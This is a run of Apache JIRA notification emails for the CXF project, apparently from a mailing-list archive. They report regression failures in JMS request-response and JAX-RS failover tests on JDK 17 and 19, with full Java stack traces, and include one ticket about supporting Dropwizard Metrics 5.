[ https://issues.apache.org/jira/browse/CXF-8807?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8807: -- Description: h1. Regression Build / Matrix - JAVA_VERSION = 'jdk_19_latest' / JDK specific build / Build & Test / org.apache.cxf.transport.jms.RequestResponseTest.testRequestTopicResponseStaticQueue h3. Error Message Can't receive the Conduit Message in 10 seconds h3. Stacktrace java.lang.AssertionError: Can't receive the Conduit Message in 10 seconds at org.junit.Assert.fail(Assert.java:89) at org.junit.Assert.assertTrue(Assert.java:42) at org.junit.Assert.assertNotNull(Assert.java:713) at org.apache.cxf.transport.jms.AbstractJMSTester.waitForReceiveInMessage(AbstractJMSTester.java:306) at org.apache.cxf.transport.jms.RequestResponseTest.sendAndReceiveMessages(RequestResponseTest.java:99) at org.apache.cxf.transport.jms.RequestResponseTest.testRequestTopicResponseStaticQueue(RequestResponseTest.java:64) at java.base/jdk.internal.reflect.DirectMethodHandleAccessor.invoke(DirectMethodHandleAccessor.java:104) at java.base/java.lang.reflect.Method.invoke(Method.java:578) at org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:59) at org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12) at org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:56) at org.junit.internal.runners.statements.InvokeMethod.evaluate(InvokeMethod.java:17) at org.junit.runners.ParentRunner$3.evaluate(ParentRunner.java:306) at org.junit.runners.BlockJUnit4ClassRunner$1.evaluate(BlockJUnit4ClassRunner.java:100) at org.junit.runners.ParentRunner.runLeaf(ParentRunner.java:366) at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:103) at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:63) at org.junit.runners.ParentRunner$4.run(ParentRunner.java:331) at org.junit.runners.ParentRunner$1.schedule(ParentRunner.java:79) at org.junit.runners.ParentRunner.runChildren(ParentRunner.java:329) at org.junit.runners.ParentRunner.access$100(ParentRunner.java:66) at org.junit.runners.ParentRunner$2.evaluate(ParentRunner.java:293) at org.junit.internal.runners.statements.RunBefores.evaluate(RunBefores.java:26) at org.junit.internal.runners.statements.RunAfters.evaluate(RunAfters.java:27) at org.junit.runners.ParentRunner$3.evaluate(ParentRunner.java:306) at org.junit.runners.ParentRunner.run(ParentRunner.java:413) at org.apache.maven.surefire.junit4.JUnit4Provider.execute(JUnit4Provider.java:377) at org.apache.maven.surefire.junit4.JUnit4Provider.executeWithRerun(JUnit4Provider.java:284) at org.apache.maven.surefire.junit4.JUnit4Provider.executeTestSet(JUnit4Provider.java:248) at org.apache.maven.surefire.junit4.JUnit4Provider.invoke(JUnit4Provider.java:167) at org.apache.maven.surefire.booter.ForkedBooter.runSuitesInProcess(ForkedBooter.java:456) at org.apache.maven.surefire.booter.ForkedBooter.execute(ForkedBooter.java:169) at org.apache.maven.surefire.booter.ForkedBooter.run(ForkedBooter.java:595) at org.apache.maven.surefire.booter.ForkedBooter.main(ForkedBooter.java:581) was: h1. Regression Build / Matrix - JAVA_VERSION = 'jdk_19_latest' / JDK specific build / Build & Test / org.apache.cxf.transport.jms.RequestResponseTest.testRequestTopicResponseStaticQueue h3. Error Message Can't receive the Conduit Message in 10 seconds h3. Stacktrace java.lang.AssertionError: Can't receive the Conduit Message in 10 seconds at org.junit.Assert.fail(Assert.java:89) at org.junit.Assert.assertTrue(Assert.java:42) at org.junit.Assert.assertNotNull(Assert.java:713) at org.apache.cxf.transport.jms.AbstractJMSTester.waitForReceiveInMessage(AbstractJMSTester.java:305) at org.apache.cxf.transport.jms.RequestResponseTest.sendAndReceiveMessages(RequestResponseTest.java:99) at org.apache.cxf.transport.jms.RequestResponseTest.testRequestTopicResponseStaticQueue(RequestResponseTest.java:64) at java.base/jdk.internal.reflect.DirectMethodHandleAccessor.invoke(DirectMethodHandleAccessor.java:104) at java.base/java.lang.reflect.Method.invoke(Method.java:578) at org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:59) at org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12) at org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:56) at org.junit.internal.runners.statements.InvokeMethod.evaluate(InvokeMethod.java:17) at org.junit.runners.ParentRunner$3.evaluate(ParentRunner.java:306) at org.junit.runners.BlockJUnit4ClassRunner$1.evaluate(BlockJUnit4ClassRunner.java:100) at org.junit.runners.ParentRunner.runLeaf(ParentRunner.java:366) at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:103) at
[jira] [Resolved] (CXF-8807) Fix org.apache.cxf.transport.jms.RequestResponseTest.testRequestTopicResponseStaticQueue
[ https://issues.apache.org/jira/browse/CXF-8807?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko resolved CXF-8807. --- Resolution: Fixed > Fix > org.apache.cxf.transport.jms.RequestResponseTest.testRequestTopicResponseStaticQueue > > > Key: CXF-8807 > URL: https://issues.apache.org/jira/browse/CXF-8807 > Project: CXF > Issue Type: Sub-task >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 4.0.0 > > > h1. Regression > Build / Matrix - JAVA_VERSION = 'jdk_19_latest' / JDK specific build / Build > & Test / > org.apache.cxf.transport.jms.RequestResponseTest.testRequestTopicResponseStaticQueue > > h3. Error Message > Can't receive the Conduit Message in 10 seconds > h3. Stacktrace > java.lang.AssertionError: Can't receive the Conduit Message in 10 seconds at > org.junit.Assert.fail(Assert.java:89) at > org.junit.Assert.assertTrue(Assert.java:42) at > org.junit.Assert.assertNotNull(Assert.java:713) at > org.apache.cxf.transport.jms.AbstractJMSTester.waitForReceiveInMessage(AbstractJMSTester.java:305) > at > org.apache.cxf.transport.jms.RequestResponseTest.sendAndReceiveMessages(RequestResponseTest.java:99) > at > org.apache.cxf.transport.jms.RequestResponseTest.testRequestTopicResponseStaticQueue(RequestResponseTest.java:64) > at > java.base/jdk.internal.reflect.DirectMethodHandleAccessor.invoke(DirectMethodHandleAccessor.java:104) > at java.base/java.lang.reflect.Method.invoke(Method.java:578) at > org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:59) > at > org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12) > at > org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:56) > at > org.junit.internal.runners.statements.InvokeMethod.evaluate(InvokeMethod.java:17) > at org.junit.runners.ParentRunner$3.evaluate(ParentRunner.java:306) at > org.junit.runners.BlockJUnit4ClassRunner$1.evaluate(BlockJUnit4ClassRunner.java:100) > at org.junit.runners.ParentRunner.runLeaf(ParentRunner.java:366) at > org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:103) > at > org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:63) > at org.junit.runners.ParentRunner$4.run(ParentRunner.java:331) at > org.junit.runners.ParentRunner$1.schedule(ParentRunner.java:79) at > org.junit.runners.ParentRunner.runChildren(ParentRunner.java:329) at > org.junit.runners.ParentRunner.access$100(ParentRunner.java:66) at > org.junit.runners.ParentRunner$2.evaluate(ParentRunner.java:293) at > org.junit.internal.runners.statements.RunBefores.evaluate(RunBefores.java:26) > at > org.junit.internal.runners.statements.RunAfters.evaluate(RunAfters.java:27) > at org.junit.runners.ParentRunner$3.evaluate(ParentRunner.java:306) at > org.junit.runners.ParentRunner.run(ParentRunner.java:413) at > org.apache.maven.surefire.junit4.JUnit4Provider.execute(JUnit4Provider.java:377) > at > org.apache.maven.surefire.junit4.JUnit4Provider.executeWithRerun(JUnit4Provider.java:284) > at > org.apache.maven.surefire.junit4.JUnit4Provider.executeTestSet(JUnit4Provider.java:248) > at > org.apache.maven.surefire.junit4.JUnit4Provider.invoke(JUnit4Provider.java:167) > at > org.apache.maven.surefire.booter.ForkedBooter.runSuitesInProcess(ForkedBooter.java:456) > at > org.apache.maven.surefire.booter.ForkedBooter.execute(ForkedBooter.java:169) > at org.apache.maven.surefire.booter.ForkedBooter.run(ForkedBooter.java:595) > at org.apache.maven.surefire.booter.ForkedBooter.main(ForkedBooter.java:581) -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Created] (CXF-8807) Fix org.apache.cxf.transport.jms.RequestResponseTest.testRequestTopicResponseStaticQueue
Andriy Redko created CXF-8807: - Summary: Fix org.apache.cxf.transport.jms.RequestResponseTest.testRequestTopicResponseStaticQueue Key: CXF-8807 URL: https://issues.apache.org/jira/browse/CXF-8807 Project: CXF Issue Type: Sub-task Reporter: Andriy Redko Assignee: Andriy Redko Fix For: 4.0.0 h1. Regression Build / Matrix - JAVA_VERSION = 'jdk_19_latest' / JDK specific build / Build & Test / org.apache.cxf.transport.jms.RequestResponseTest.testRequestTopicResponseStaticQueue h3. Error Message Can't receive the Conduit Message in 10 seconds h3. Stacktrace java.lang.AssertionError: Can't receive the Conduit Message in 10 seconds at org.junit.Assert.fail(Assert.java:89) at org.junit.Assert.assertTrue(Assert.java:42) at org.junit.Assert.assertNotNull(Assert.java:713) at org.apache.cxf.transport.jms.AbstractJMSTester.waitForReceiveInMessage(AbstractJMSTester.java:305) at org.apache.cxf.transport.jms.RequestResponseTest.sendAndReceiveMessages(RequestResponseTest.java:99) at org.apache.cxf.transport.jms.RequestResponseTest.testRequestTopicResponseStaticQueue(RequestResponseTest.java:64) at java.base/jdk.internal.reflect.DirectMethodHandleAccessor.invoke(DirectMethodHandleAccessor.java:104) at java.base/java.lang.reflect.Method.invoke(Method.java:578) at org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:59) at org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12) at org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:56) at org.junit.internal.runners.statements.InvokeMethod.evaluate(InvokeMethod.java:17) at org.junit.runners.ParentRunner$3.evaluate(ParentRunner.java:306) at org.junit.runners.BlockJUnit4ClassRunner$1.evaluate(BlockJUnit4ClassRunner.java:100) at org.junit.runners.ParentRunner.runLeaf(ParentRunner.java:366) at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:103) at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:63) at org.junit.runners.ParentRunner$4.run(ParentRunner.java:331) at org.junit.runners.ParentRunner$1.schedule(ParentRunner.java:79) at org.junit.runners.ParentRunner.runChildren(ParentRunner.java:329) at org.junit.runners.ParentRunner.access$100(ParentRunner.java:66) at org.junit.runners.ParentRunner$2.evaluate(ParentRunner.java:293) at org.junit.internal.runners.statements.RunBefores.evaluate(RunBefores.java:26) at org.junit.internal.runners.statements.RunAfters.evaluate(RunAfters.java:27) at org.junit.runners.ParentRunner$3.evaluate(ParentRunner.java:306) at org.junit.runners.ParentRunner.run(ParentRunner.java:413) at org.apache.maven.surefire.junit4.JUnit4Provider.execute(JUnit4Provider.java:377) at org.apache.maven.surefire.junit4.JUnit4Provider.executeWithRerun(JUnit4Provider.java:284) at org.apache.maven.surefire.junit4.JUnit4Provider.executeTestSet(JUnit4Provider.java:248) at org.apache.maven.surefire.junit4.JUnit4Provider.invoke(JUnit4Provider.java:167) at org.apache.maven.surefire.booter.ForkedBooter.runSuitesInProcess(ForkedBooter.java:456) at org.apache.maven.surefire.booter.ForkedBooter.execute(ForkedBooter.java:169) at org.apache.maven.surefire.booter.ForkedBooter.run(ForkedBooter.java:595) at org.apache.maven.surefire.booter.ForkedBooter.main(ForkedBooter.java:581) -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8805) Fix org.apache.cxf.transport.jms.RequestResponseTest.testRequestTopicResponseTempQueue
[ https://issues.apache.org/jira/browse/CXF-8805?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8805: -- Description: h1. Regression Build / Matrix - JAVA_VERSION = 'jdk_17_latest' / JDK specific build / Build & Test / org.apache.cxf.transport.jms.RequestResponseTest.testRequestTopicResponseTempQueue h3. Error Message Timeout receiving message with correlationId e515842856bf4460860133745487025b0001 h3. Stacktrace java.lang.RuntimeException: Timeout receiving message with correlationId e515842856bf4460860133745487025b0001 at org.apache.cxf.transport.jms.util.JMSUtil.convertJmsException(JMSUtil.java:93) at org.apache.cxf.transport.jms.JMSConduit.sendExchange(JMSConduit.java:198) at org.apache.cxf.transport.jms.MessageStreamUtil$SendingOutputStream.doClose(MessageStreamUtil.java:81) at org.apache.cxf.io.CachedOutputStream.close(CachedOutputStream.java:222) at org.apache.cxf.transport.jms.AbstractJMSTester.sendoutMessage(AbstractJMSTester.java:187) at org.apache.cxf.transport.jms.AbstractJMSTester.sendMessage(AbstractJMSTester.java:165) at org.apache.cxf.transport.jms.RequestResponseTest.sendAndReceiveMessages(RequestResponseTest.java:95) at org.apache.cxf.transport.jms.RequestResponseTest.testRequestTopicResponseTempQueue(RequestResponseTest.java:56) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.base/java.lang.reflect.Method.invoke(Method.java:568) at org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:59) at org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12) at org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:56) at org.junit.internal.runners.statements.InvokeMethod.evaluate(InvokeMethod.java:17) at org.junit.runners.ParentRunner$3.evaluate(ParentRunner.java:306) at org.junit.runners.BlockJUnit4ClassRunner$1.evaluate(BlockJUnit4ClassRunner.java:100) at org.junit.runners.ParentRunner.runLeaf(ParentRunner.java:366) at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:103) at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:63) at org.junit.runners.ParentRunner$4.run(ParentRunner.java:331) at org.junit.runners.ParentRunner$1.schedule(ParentRunner.java:79) at org.junit.runners.ParentRunner.runChildren(ParentRunner.java:329) at org.junit.runners.ParentRunner.access$100(ParentRunner.java:66) at org.junit.runners.ParentRunner$2.evaluate(ParentRunner.java:293) at org.junit.internal.runners.statements.RunBefores.evaluate(RunBefores.java:26) at org.junit.internal.runners.statements.RunAfters.evaluate(RunAfters.java:27) at org.junit.runners.ParentRunner$3.evaluate(ParentRunner.java:306) at org.junit.runners.ParentRunner.run(ParentRunner.java:413) at org.apache.maven.surefire.junit4.JUnit4Provider.execute(JUnit4Provider.java:377) at org.apache.maven.surefire.junit4.JUnit4Provider.executeWithRerun(JUnit4Provider.java:284) at org.apache.maven.surefire.junit4.JUnit4Provider.executeTestSet(JUnit4Provider.java:248) at org.apache.maven.surefire.junit4.JUnit4Provider.invoke(JUnit4Provider.java:167) at org.apache.maven.surefire.booter.ForkedBooter.runSuitesInProcess(ForkedBooter.java:456) at org.apache.maven.surefire.booter.ForkedBooter.execute(ForkedBooter.java:169) at org.apache.maven.surefire.booter.ForkedBooter.run(ForkedBooter.java:595) at org.apache.maven.surefire.booter.ForkedBooter.main(ForkedBooter.java:581) Caused by: jakarta.jms.JMSException: Timeout receiving message with correlationId e515842856bf4460860133745487025b0001 at org.apache.cxf.transport.jms.JMSConduit.sendAndReceiveMessage(JMSConduit.java:296) at org.apache.cxf.transport.jms.JMSConduit.sendExchange(JMSConduit.java:176) ... 36 more was: h1. Regression Build / Matrix - JAVA_VERSION = 'jdk_17_latest' / JDK specific build / Build & Test / org.apache.cxf.transport.jms.RequestResponseTest.testRequestTopicResponseTempQueue Failing for the past 1 build (Since [#223|https://ci-builds.apache.org/job/CXF/job/pipeline/job/main/223/] ) [Took 1 min 1 sec.|https://ci-builds.apache.org/job/CXF/job/pipeline/job/main/223/testReport/junit/org.apache.cxf.transport.jms/RequestResponseTest/Build___Matrix___JAVA_VERSIONjdk_17_latestJDK_specific_build___Build___Test___testRequestTopicResponseTempQueue/history] h3. Error Message Timeout receiving message with correlationId e515842856bf4460860133745487025b0001 h3. Stacktrace java.lang.RuntimeException: Timeout receiving message with correlationId e515842856bf4460860133745487025b0001 at
[jira] [Created] (CXF-8806) Fix org.apache.cxf.transport.jms.RequestResponseTest.testRequestTopicResponseStaticQueue
Andriy Redko created CXF-8806: - Summary: Fix org.apache.cxf.transport.jms.RequestResponseTest.testRequestTopicResponseStaticQueue Key: CXF-8806 URL: https://issues.apache.org/jira/browse/CXF-8806 Project: CXF Issue Type: Bug Reporter: Andriy Redko Assignee: Andriy Redko Fix For: 4.0.0 h1. Regression Build / Matrix - JAVA_VERSION = 'jdk_19_latest' / JDK specific build / Build & Test / org.apache.cxf.transport.jms.RequestResponseTest.testRequestTopicResponseStaticQueue Failing for the past 1 build (Since [#222|https://ci-builds.apache.org/job/CXF/job/pipeline/job/main/222/] ) [Took 11 sec.|https://ci-builds.apache.org/job/CXF/job/pipeline/job/main/222/testReport/junit/org.apache.cxf.transport.jms/RequestResponseTest/Build___Matrix___JAVA_VERSIONjdk_19_latestJDK_specific_build___Build___Test___testRequestTopicResponseStaticQueue/history] h3. Error Message Can't receive the Conduit Message in 10 seconds h3. Stacktrace java.lang.AssertionError: Can't receive the Conduit Message in 10 seconds at org.junit.Assert.fail(Assert.java:89) at org.junit.Assert.assertTrue(Assert.java:42) at org.junit.Assert.assertNotNull(Assert.java:713) at org.apache.cxf.transport.jms.AbstractJMSTester.waitForReceiveInMessage(AbstractJMSTester.java:305) at org.apache.cxf.transport.jms.RequestResponseTest.sendAndReceiveMessages(RequestResponseTest.java:99) at org.apache.cxf.transport.jms.RequestResponseTest.testRequestTopicResponseStaticQueue(RequestResponseTest.java:64) at java.base/jdk.internal.reflect.DirectMethodHandleAccessor.invoke(DirectMethodHandleAccessor.java:104) at java.base/java.lang.reflect.Method.invoke(Method.java:578) at org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:59) at org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12) at org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:56) at org.junit.internal.runners.statements.InvokeMethod.evaluate(InvokeMethod.java:17) at org.junit.runners.ParentRunner$3.evaluate(ParentRunner.java:306) at org.junit.runners.BlockJUnit4ClassRunner$1.evaluate(BlockJUnit4ClassRunner.java:100) at org.junit.runners.ParentRunner.runLeaf(ParentRunner.java:366) at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:103) at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:63) at org.junit.runners.ParentRunner$4.run(ParentRunner.java:331) at org.junit.runners.ParentRunner$1.schedule(ParentRunner.java:79) at org.junit.runners.ParentRunner.runChildren(ParentRunner.java:329) at org.junit.runners.ParentRunner.access$100(ParentRunner.java:66) at org.junit.runners.ParentRunner$2.evaluate(ParentRunner.java:293) at org.junit.internal.runners.statements.RunBefores.evaluate(RunBefores.java:26) at org.junit.internal.runners.statements.RunAfters.evaluate(RunAfters.java:27) at org.junit.runners.ParentRunner$3.evaluate(ParentRunner.java:306) at org.junit.runners.ParentRunner.run(ParentRunner.java:413) at org.apache.maven.surefire.junit4.JUnit4Provider.execute(JUnit4Provider.java:377) at org.apache.maven.surefire.junit4.JUnit4Provider.executeWithRerun(JUnit4Provider.java:284) at org.apache.maven.surefire.junit4.JUnit4Provider.executeTestSet(JUnit4Provider.java:248) at org.apache.maven.surefire.junit4.JUnit4Provider.invoke(JUnit4Provider.java:167) at org.apache.maven.surefire.booter.ForkedBooter.runSuitesInProcess(ForkedBooter.java:456) at org.apache.maven.surefire.booter.ForkedBooter.execute(ForkedBooter.java:169) at org.apache.maven.surefire.booter.ForkedBooter.run(ForkedBooter.java:595) at org.apache.maven.surefire.booter.ForkedBooter.main(ForkedBooter.java:581) -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Created] (CXF-8805) Fix org.apache.cxf.transport.jms.RequestResponseTest.testRequestTopicResponseTempQueue
Andriy Redko created CXF-8805: - Summary: Fix org.apache.cxf.transport.jms.RequestResponseTest.testRequestTopicResponseTempQueue Key: CXF-8805 URL: https://issues.apache.org/jira/browse/CXF-8805 Project: CXF Issue Type: Sub-task Reporter: Andriy Redko Assignee: Andriy Redko Fix For: 4.0.0 h1. Regression Build / Matrix - JAVA_VERSION = 'jdk_17_latest' / JDK specific build / Build & Test / org.apache.cxf.transport.jms.RequestResponseTest.testRequestTopicResponseTempQueue Failing for the past 1 build (Since [#223|https://ci-builds.apache.org/job/CXF/job/pipeline/job/main/223/] ) [Took 1 min 1 sec.|https://ci-builds.apache.org/job/CXF/job/pipeline/job/main/223/testReport/junit/org.apache.cxf.transport.jms/RequestResponseTest/Build___Matrix___JAVA_VERSIONjdk_17_latestJDK_specific_build___Build___Test___testRequestTopicResponseTempQueue/history] h3. Error Message Timeout receiving message with correlationId e515842856bf4460860133745487025b0001 h3. Stacktrace java.lang.RuntimeException: Timeout receiving message with correlationId e515842856bf4460860133745487025b0001 at org.apache.cxf.transport.jms.util.JMSUtil.convertJmsException(JMSUtil.java:93) at org.apache.cxf.transport.jms.JMSConduit.sendExchange(JMSConduit.java:198) at org.apache.cxf.transport.jms.MessageStreamUtil$SendingOutputStream.doClose(MessageStreamUtil.java:81) at org.apache.cxf.io.CachedOutputStream.close(CachedOutputStream.java:222) at org.apache.cxf.transport.jms.AbstractJMSTester.sendoutMessage(AbstractJMSTester.java:187) at org.apache.cxf.transport.jms.AbstractJMSTester.sendMessage(AbstractJMSTester.java:165) at org.apache.cxf.transport.jms.RequestResponseTest.sendAndReceiveMessages(RequestResponseTest.java:95) at org.apache.cxf.transport.jms.RequestResponseTest.testRequestTopicResponseTempQueue(RequestResponseTest.java:56) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.base/java.lang.reflect.Method.invoke(Method.java:568) at org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:59) at org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12) at org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:56) at org.junit.internal.runners.statements.InvokeMethod.evaluate(InvokeMethod.java:17) at org.junit.runners.ParentRunner$3.evaluate(ParentRunner.java:306) at org.junit.runners.BlockJUnit4ClassRunner$1.evaluate(BlockJUnit4ClassRunner.java:100) at org.junit.runners.ParentRunner.runLeaf(ParentRunner.java:366) at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:103) at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:63) at org.junit.runners.ParentRunner$4.run(ParentRunner.java:331) at org.junit.runners.ParentRunner$1.schedule(ParentRunner.java:79) at org.junit.runners.ParentRunner.runChildren(ParentRunner.java:329) at org.junit.runners.ParentRunner.access$100(ParentRunner.java:66) at org.junit.runners.ParentRunner$2.evaluate(ParentRunner.java:293) at org.junit.internal.runners.statements.RunBefores.evaluate(RunBefores.java:26) at org.junit.internal.runners.statements.RunAfters.evaluate(RunAfters.java:27) at org.junit.runners.ParentRunner$3.evaluate(ParentRunner.java:306) at org.junit.runners.ParentRunner.run(ParentRunner.java:413) at org.apache.maven.surefire.junit4.JUnit4Provider.execute(JUnit4Provider.java:377) at org.apache.maven.surefire.junit4.JUnit4Provider.executeWithRerun(JUnit4Provider.java:284) at org.apache.maven.surefire.junit4.JUnit4Provider.executeTestSet(JUnit4Provider.java:248) at org.apache.maven.surefire.junit4.JUnit4Provider.invoke(JUnit4Provider.java:167) at org.apache.maven.surefire.booter.ForkedBooter.runSuitesInProcess(ForkedBooter.java:456) at org.apache.maven.surefire.booter.ForkedBooter.execute(ForkedBooter.java:169) at org.apache.maven.surefire.booter.ForkedBooter.run(ForkedBooter.java:595) at org.apache.maven.surefire.booter.ForkedBooter.main(ForkedBooter.java:581) Caused by: jakarta.jms.JMSException: Timeout receiving message with correlationId e515842856bf4460860133745487025b0001 at org.apache.cxf.transport.jms.JMSConduit.sendAndReceiveMessage(JMSConduit.java:296) at org.apache.cxf.transport.jms.JMSConduit.sendExchange(JMSConduit.java:176) ... 36 more -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Created] (CXF-8804) Fix org.apache.cxf.systest.jaxrs.failover.FailoverTest.testSequentialStrategyWithDiffBaseAddresses
Andriy Redko created CXF-8804: - Summary: Fix org.apache.cxf.systest.jaxrs.failover.FailoverTest.testSequentialStrategyWithDiffBaseAddresses Key: CXF-8804 URL: https://issues.apache.org/jira/browse/CXF-8804 Project: CXF Issue Type: Sub-task Reporter: Andriy Redko Assignee: Andriy Redko Fix For: 4.0.0 h1. Regression Build / Matrix - JAVA_VERSION = 'jdk_17_latest' / JDK specific build / Build & Test / org.apache.cxf.systest.jaxrs.failover.FailoverTest.testSequentialStrategyWithDiffBaseAddresses h3. Error Message Illegal status value : -1 h3. Stacktrace java.lang.IllegalArgumentException: Illegal status value : -1 at org.apache.cxf.jaxrs.impl.ResponseBuilderImpl.validateStatusCode(ResponseBuilderImpl.java:94) at org.apache.cxf.jaxrs.impl.ResponseBuilderImpl.status(ResponseBuilderImpl.java:78) at org.apache.cxf.jaxrs.utils.JAXRSUtils.toResponseBuilder(JAXRSUtils.java:1974) at org.apache.cxf.jaxrs.client.AbstractClient.setResponseBuilder(AbstractClient.java:434) at org.apache.cxf.jaxrs.client.ClientProxyImpl.handleResponse(ClientProxyImpl.java:1022) at org.apache.cxf.jaxrs.client.ClientProxyImpl.doChainedInvocation(ClientProxyImpl.java:932) at org.apache.cxf.jaxrs.client.ClientProxyImpl.invoke(ClientProxyImpl.java:347) at org.apache.cxf.common.util.CglibProxyHelper$1.intercept(CglibProxyHelper.java:67) at org.apache.cxf.systest.jaxrs.BookStore$$EnhancerByCGLIB$$ad035b93.echoBookElementJson() at org.apache.cxf.systest.jaxrs.failover.AbstractFailoverTest.strategyTest(AbstractFailoverTest.java:245) at org.apache.cxf.systest.jaxrs.failover.AbstractFailoverTest.testSequentialStrategyWithDiffBaseAddresses(AbstractFailoverTest.java:144) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.base/java.lang.reflect.Method.invoke(Method.java:568) at org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:59) at org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12) at org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:56) at org.junit.internal.runners.statements.InvokeMethod.evaluate(InvokeMethod.java:17) at org.junit.internal.runners.statements.RunAfters.evaluate(RunAfters.java:27) at org.junit.runners.ParentRunner$3.evaluate(ParentRunner.java:306) at org.junit.runners.BlockJUnit4ClassRunner$1.evaluate(BlockJUnit4ClassRunner.java:100) at org.junit.runners.ParentRunner.runLeaf(ParentRunner.java:366) at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:103) at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:63) at org.junit.runners.ParentRunner$4.run(ParentRunner.java:331) at org.junit.runners.ParentRunner$1.schedule(ParentRunner.java:79) at org.junit.runners.ParentRunner.runChildren(ParentRunner.java:329) at org.junit.runners.ParentRunner.access$100(ParentRunner.java:66) at org.junit.runners.ParentRunner$2.evaluate(ParentRunner.java:293) at org.junit.internal.runners.statements.RunBefores.evaluate(RunBefores.java:26) at org.junit.internal.runners.statements.RunAfters.evaluate(RunAfters.java:27) at org.junit.runners.ParentRunner$3.evaluate(ParentRunner.java:306) at org.junit.runners.ParentRunner.run(ParentRunner.java:413) at org.apache.maven.surefire.junit4.JUnit4Provider.execute(JUnit4Provider.java:377) at org.apache.maven.surefire.junit4.JUnit4Provider.executeWithRerun(JUnit4Provider.java:284) at org.apache.maven.surefire.junit4.JUnit4Provider.executeTestSet(JUnit4Provider.java:248) at org.apache.maven.surefire.junit4.JUnit4Provider.invoke(JUnit4Provider.java:167) at org.apache.maven.surefire.booter.ForkedBooter.runSuitesInProcess(ForkedBooter.java:456) at org.apache.maven.surefire.booter.ForkedBooter.execute(ForkedBooter.java:169) at org.apache.maven.surefire.booter.ForkedBooter.run(ForkedBooter.java:595) at org.apache.maven.surefire.booter.ForkedBooter.main(ForkedBooter.java:581) -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Created] (CXF-8803) Support Dropwizard Metrics 5
Andriy Redko created CXF-8803: - Summary: Support Dropwizard Metrics 5 Key: CXF-8803 URL: https://issues.apache.org/jira/browse/CXF-8803 Project: CXF Issue Type: Improvement Reporter: Andriy Redko Assignee: Andriy Redko Fix For: 3.6.0, 4.0.1 https://github.com/dropwizard/metrics/releases/tag/v5.0.0-rc13 -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8802) Update to Maven Remote Resources Plugin 3.1.0
